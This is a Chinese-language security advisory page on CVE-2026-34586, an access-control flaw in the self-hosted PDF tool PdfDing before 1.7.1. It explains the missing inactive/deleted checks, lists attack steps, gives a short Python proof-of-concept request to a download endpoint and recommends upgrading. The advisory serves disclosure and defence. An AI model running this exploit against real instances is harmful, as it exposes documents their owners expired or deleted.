IPBUF安全漏洞报告
English
CVE-2026-34586 CVSS 6.5 中危

CVE-2026-34586 PdfDing 访问控制失效漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34586
漏洞类型
访问控制失效
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PdfDing

相关标签

访问控制权限绕过PdfDing逻辑漏洞信息泄露

漏洞概述

PdfDing是一个自托管的PDF管理工具。在1.7.1版本之前,其`check_shared_access_allowed()`函数存在安全缺陷,仅验证会话是否存在,未检查`SharedPdf.inactive`(过期或最大浏览次数)或`SharedPdf.deleted`状态。这使得已授权用户能够在PDF过期、达到查看上限或被软删除后,依然可以通过Serve和Download端点访问共享PDF内容,导致敏感信息泄露。

技术细节

该漏洞的根本原因在于服务器端对共享资源访问控制的验证逻辑不完整。PdfDing的`check_shared_access_allowed()`函数在设计上仅依赖于会话的有效性来决定是否允许访问,而忽略了数据模型中定义的文件生命周期状态。具体来说,代码路径中缺少对`SharedPdf`对象的`inactive`字段(用于判断资源是否过期或超限)和`deleted`字段(软删除标记)的校验。因此,即使管理员已经设置了分享链接的过期时间或删除了文件,只要攻击者拥有有效的用户会话(低权限),即可构造针对Serve或Download接口的HTTP请求。服务器会通过会话验证,直接返回文件流,从而绕过了业务逻辑层面的访问控制限制。

攻击链分析

STEP 1
1. 获取访问权限
攻击者或普通用户注册并登录PdfDing,获取有效的会话凭证,并接收一个共享PDF的链接。
STEP 2
2. 状态变更
管理员将该共享PDF设置为过期、达到最大查看次数或执行软删除操作。
STEP 3
3. 发起请求
用户使用之前获取的有效会话和链接ID,向服务端的Download或Serve端点发送HTTP请求。
STEP 4
4. 逻辑绕过
服务器端的`check_shared_access_allowed()`函数仅验证会话有效,未检查文件的`inactive`或`deleted`状态。
STEP 5
5. 获取数据
服务器返回本应失效或删除的PDF文件内容,导致机密性影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-34586 # Description: Accessing a soft-deleted or expired PDF using a valid session. TARGET_URL = "http://target-pdfding-instance.com" SHARED_PDF_ID = "shared_pdf_id_here" # ID of a PDF that is expired or deleted SESSION_COOKIE = "session_cookie_value" # Valid low-privilege session def exploit(): # Headers with a valid session cookie headers = { "Cookie": f"session={SESSION_COOKIE}" } # The endpoint to download the shared PDF # The server checks session existence but misses inactive/deleted checks url = f"{TARGET_URL}/api/share/{SHARED_PDF_ID}/download" try: response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful! PDF content retrieved despite expiration/deletion.") print(f"[+] Content length: {len(response.content)} bytes") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

影响范围

PdfDing < 1.7.1

防御指南

临时缓解措施
建议立即将PdfDing升级到v1.7.1版本。如果暂时无法升级,应修改后端代码,在`check_shared_access_allowed`函数中增加对`SharedPdf.inactive`和`SharedPdf.deleted`字段的显式检查,确保只返回状态正常的文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表